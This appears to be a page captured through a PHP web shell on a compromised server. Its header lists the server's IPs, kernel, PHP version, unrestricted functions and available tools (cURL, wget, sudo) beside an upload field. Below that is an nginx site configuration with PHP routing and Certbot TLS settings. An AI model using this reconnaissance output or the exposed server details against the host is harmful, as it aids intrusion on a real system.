| Server IP : 65.1.209.187 / Your IP : 216.73.216.144 Web Server : nginx/1.24.0 System : Linux ip-172-31-5-206 6.14.0-1015-aws #15~24.04.1-Ubuntu SMP Tue Sep 23 22:44:48 UTC 2025 x86_64 User : ( 1001) PHP Version : 8.3.6 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/lib/letsencrypt/backups/1778252517.401731/ |
Upload File : |
server {
server_name quditinfotech.com www.quditinfotech.com;
root /var/www/quditinfotech.com;
index index.php index.html;
# Upload size (optional)
client_max_body_size 50M;
# Main routing
location / {
try_files $uri $uri/ $uri.php?$query_string;
}
# PHP-FPM handling
location ~ \.php$ {
include snippets/fastcgi-php.conf;
# IMPORTANT: set your installed PHP-FPM socket path
# Common: php8.1-fpm.sock / php8.2-fpm.sock / php8.3-fpm.sock
fastcgi_pass unix:/run/php/php8.3-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
# Deny hidden files
location ~ /\.(?!well-known).* {
deny all;
}
# Security: block PHP execution in uploads (if you have uploads folder)
location ~* ^/uploads/.*\.php$ {
deny all;
}
listen 443 ssl; # managed by Certbot
listen [::]:443 ssl; # managed by Certbot
ssl_certificate /etc/letsencrypt/live/quditinfotech.com/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/quditinfotech.com/privkey.pem; # managed by Certbot
include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot
}
server {
if ($host = www.quditinfotech.com) {
return 301 https://$host$request_uri;
} # managed by Certbot
if ($host = quditinfotech.com) {
return 301 https://$host$request_uri;
} # managed by Certbot
listen 80;
listen [::]:80;
server_name quditinfotech.com www.quditinfotech.com;
return 404; # managed by Certbot
}